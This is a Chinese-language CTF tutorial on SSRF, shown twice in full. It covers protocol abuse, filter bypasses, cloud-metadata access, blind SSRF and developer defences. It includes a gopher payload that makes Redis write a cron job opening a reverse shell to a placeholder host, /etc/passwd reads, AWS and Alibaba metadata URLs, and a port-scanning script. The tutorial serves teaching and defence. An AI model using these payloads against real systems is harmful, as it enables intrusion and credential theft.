1. SSRF漏洞基础概念解析SSRFServer-Side Request Forgery服务端请求伪造是一种由攻击者构造恶意请求诱使服务器向内部或外部系统发起非预期请求的安全漏洞。这种漏洞的本质在于服务器对用户提供的URL或地址缺乏充分验证导致攻击者能够操纵服务器作为代理发起各类请求。在CTF竞赛中SSRF题目通常以从服务器获取某个flag或访问内部服务为目标。以NSS Round#28 Team的ez_ssrf为例这类题目名称中的ez往往暗示存在明显的利用路径但需要参赛者掌握SSRF的核心利用技巧。注意实际渗透测试中SSRF可能造成内网探测、服务枚举、云元数据泄露等严重后果与CTF环境不同切勿在未经授权的情况下测试真实系统。2. 常见SSRF利用协议分析2.1 HTTP/HTTPS协议基础利用最基本的SSRF利用方式是通过HTTP协议访问内网资源。假设题目提供一个图片预览功能参数为urlhttps://example.com/image.jpg可尝试修改为内网地址# 尝试访问本地服务 urlhttp://127.0.0.1:8080/flag urlhttp://localhost/admin # CIDR绕过尝试 urlhttp://0177.0.0.1/ # 八进制IP urlhttp://2130706433/ # 十进制IP2.2 文件协议file://的妙用当服务器允许file协议时可能读取本地文件urlfile:///etc/passwd urlfile:///proc/self/cmdline但现代系统通常会禁用file协议此时需要其他方式绕过。2.3 Gopher协议的深度利用Gopher协议是SSRF中最强大的武器之一它能构造任意TCP流量。通过Gopher可以攻击内网Redis服务gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i /dev/tcp/your.ip/port 01%0a%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a攻击内网FastCGI# 生成FastCGI payload的Python示例 import urllib.parse payload ...FCGI payload... print(gopher://127.0.0.1:9000/_urllib.parse.quote(payload))实战技巧使用CTFHub提供的Gopher生成工具可以快速构造各类协议payload但理解底层原理更重要。3. SSRF防御绕过技术详解3.1 域名黑名单绕过技术当系统过滤了localhost、127.0.0.1等关键词时可尝试# DNS重绑定 urlhttp://7f000001.751a9f20.rbndr.us/flag # DNS重绑定服务 # 特殊域名解析 urlhttp://localtest.me # 解析为127.0.0.1 urlhttp://spoofed.burpcollaborator.net # IPv6格式 urlhttp://[::1]:8080/flag3.2 URL解析差异利用不同语言/库的URL解析存在差异# 利用符号 urlhttp://example.com127.0.0.1 # 利用重复斜杠 urlhttp://127.0.0.1:80\\evil.com/ # 利用子域名 urlhttp://127.0.0.1.nip.io3.3 云元数据服务攻击在AWS/阿里云等环境中可尝试访问元数据服务# AWS元数据 urlhttp://169.254.169.254/latest/meta-data/ # 阿里云元数据 urlhttp://100.100.100.200/latest/meta-data/4. CTF中的SSRF实战技巧4.1 信息收集阶段确定可用协议# 测试支持的协议 urldict://127.0.0.1:6379/info urlldap://127.0.0.1:389 urlftp://127.0.0.1:21端口扫描技术import requests for port in range(1,10000): try: r requests.get(fhttp://target/api?urlhttp://127.0.0.1:{port}, timeout1) if Connection refused not in r.text: print(fPort {port} open) except: pass4.2 盲SSRF利用技巧当响应不直接返回时可通过以下方式检测DNS外带urlhttp://your-subdomain.burpcollaborator.net时间延迟urlhttp://127.0.0.1:80/admin (如果端口开放通常响应更快)错误差异# 比较开放端口与关闭端口的错误信息差异 urlhttp://127.0.0.1:3306 (MySQL默认端口) urlhttp://127.0.0.1:3307 (假设未开放)4.3 进阶利用链构造结合其他漏洞形成攻击链XXESSRF!DOCTYPE test [ !ENTITY % ext SYSTEM http://127.0.0.1:8080/secret %ext; ]CRLF注入SSRFurlhttp://127.0.0.1:8080/%0d%0aX-Forwarded-For:%20127.0.0.15. 防御措施与题目设计建议5.1 开发者防御方案输入验证层# Python示例白名单域名验证 ALLOWED_DOMAINS [example.com, cdn.example.net] def validate_url(url): from urllib.parse import urlparse domain urlparse(url).netloc if not any(domain.endswith(d) for d in ALLOWED_DOMAINS): raise ValueError(Invalid domain)网络层防护禁用非常用协议gopher、ftp等出站防火墙规则限制使用中间代理并验证目标5.2 CTF题目设计思路基础题目设计简单的内网flag获取协议限制绕过如禁用http但允许gopher进阶题目设计需要结合DNS重绑定多步骤利用如先获取凭证再访问盲SSRF需要外带数据创新题型与Web缓存中毒结合利用URL解析差异云环境元数据利用我在实际CTF比赛中发现很多选手在SSRF题目上失分不是因为不知道技术而是缺乏系统的测试方法。建议按照以下流程确定输入点URL参数、文件上传等测试协议支持情况尝试基础绕过IP格式、特殊域名检查是否有非HTTP协议利用可能考虑盲注技术组合其他漏洞类型最后分享一个真实案例在某次比赛中题目表面是一个图片上传功能实际上通过修改Content-Type为application/x-www-form-urlencoded可以将请求转换为SSRF漏洞点这种隐蔽的入口需要选手对HTTP协议有深入理解。
SSRF漏洞解析：从基础概念到CTF实战技巧
1. SSRF漏洞基础概念解析SSRFServer-Side Request Forgery服务端请求伪造是一种由攻击者构造恶意请求诱使服务器向内部或外部系统发起非预期请求的安全漏洞。这种漏洞的本质在于服务器对用户提供的URL或地址缺乏充分验证导致攻击者能够操纵服务器作为代理发起各类请求。在CTF竞赛中SSRF题目通常以从服务器获取某个flag或访问内部服务为目标。以NSS Round#28 Team的ez_ssrf为例这类题目名称中的ez往往暗示存在明显的利用路径但需要参赛者掌握SSRF的核心利用技巧。注意实际渗透测试中SSRF可能造成内网探测、服务枚举、云元数据泄露等严重后果与CTF环境不同切勿在未经授权的情况下测试真实系统。2. 常见SSRF利用协议分析2.1 HTTP/HTTPS协议基础利用最基本的SSRF利用方式是通过HTTP协议访问内网资源。假设题目提供一个图片预览功能参数为urlhttps://example.com/image.jpg可尝试修改为内网地址# 尝试访问本地服务 urlhttp://127.0.0.1:8080/flag urlhttp://localhost/admin # CIDR绕过尝试 urlhttp://0177.0.0.1/ # 八进制IP urlhttp://2130706433/ # 十进制IP2.2 文件协议file://的妙用当服务器允许file协议时可能读取本地文件urlfile:///etc/passwd urlfile:///proc/self/cmdline但现代系统通常会禁用file协议此时需要其他方式绕过。2.3 Gopher协议的深度利用Gopher协议是SSRF中最强大的武器之一它能构造任意TCP流量。通过Gopher可以攻击内网Redis服务gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i /dev/tcp/your.ip/port 01%0a%0a%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a攻击内网FastCGI# 生成FastCGI payload的Python示例 import urllib.parse payload ...FCGI payload... print(gopher://127.0.0.1:9000/_urllib.parse.quote(payload))实战技巧使用CTFHub提供的Gopher生成工具可以快速构造各类协议payload但理解底层原理更重要。3. SSRF防御绕过技术详解3.1 域名黑名单绕过技术当系统过滤了localhost、127.0.0.1等关键词时可尝试# DNS重绑定 urlhttp://7f000001.751a9f20.rbndr.us/flag # DNS重绑定服务 # 特殊域名解析 urlhttp://localtest.me # 解析为127.0.0.1 urlhttp://spoofed.burpcollaborator.net # IPv6格式 urlhttp://[::1]:8080/flag3.2 URL解析差异利用不同语言/库的URL解析存在差异# 利用符号 urlhttp://example.com127.0.0.1 # 利用重复斜杠 urlhttp://127.0.0.1:80\\evil.com/ # 利用子域名 urlhttp://127.0.0.1.nip.io3.3 云元数据服务攻击在AWS/阿里云等环境中可尝试访问元数据服务# AWS元数据 urlhttp://169.254.169.254/latest/meta-data/ # 阿里云元数据 urlhttp://100.100.100.200/latest/meta-data/4. CTF中的SSRF实战技巧4.1 信息收集阶段确定可用协议# 测试支持的协议 urldict://127.0.0.1:6379/info urlldap://127.0.0.1:389 urlftp://127.0.0.1:21端口扫描技术import requests for port in range(1,10000): try: r requests.get(fhttp://target/api?urlhttp://127.0.0.1:{port}, timeout1) if Connection refused not in r.text: print(fPort {port} open) except: pass4.2 盲SSRF利用技巧当响应不直接返回时可通过以下方式检测DNS外带urlhttp://your-subdomain.burpcollaborator.net时间延迟urlhttp://127.0.0.1:80/admin (如果端口开放通常响应更快)错误差异# 比较开放端口与关闭端口的错误信息差异 urlhttp://127.0.0.1:3306 (MySQL默认端口) urlhttp://127.0.0.1:3307 (假设未开放)4.3 进阶利用链构造结合其他漏洞形成攻击链XXESSRF!DOCTYPE test [ !ENTITY % ext SYSTEM http://127.0.0.1:8080/secret %ext; ]CRLF注入SSRFurlhttp://127.0.0.1:8080/%0d%0aX-Forwarded-For:%20127.0.0.15. 防御措施与题目设计建议5.1 开发者防御方案输入验证层# Python示例白名单域名验证 ALLOWED_DOMAINS [example.com, cdn.example.net] def validate_url(url): from urllib.parse import urlparse domain urlparse(url).netloc if not any(domain.endswith(d) for d in ALLOWED_DOMAINS): raise ValueError(Invalid domain)网络层防护禁用非常用协议gopher、ftp等出站防火墙规则限制使用中间代理并验证目标5.2 CTF题目设计思路基础题目设计简单的内网flag获取协议限制绕过如禁用http但允许gopher进阶题目设计需要结合DNS重绑定多步骤利用如先获取凭证再访问盲SSRF需要外带数据创新题型与Web缓存中毒结合利用URL解析差异云环境元数据利用我在实际CTF比赛中发现很多选手在SSRF题目上失分不是因为不知道技术而是缺乏系统的测试方法。建议按照以下流程确定输入点URL参数、文件上传等测试协议支持情况尝试基础绕过IP格式、特殊域名检查是否有非HTTP协议利用可能考虑盲注技术组合其他漏洞类型最后分享一个真实案例在某次比赛中题目表面是一个图片上传功能实际上通过修改Content-Type为application/x-www-form-urlencoded可以将请求转换为SSRF漏洞点这种隐蔽的入口需要选手对HTTP协议有深入理解。
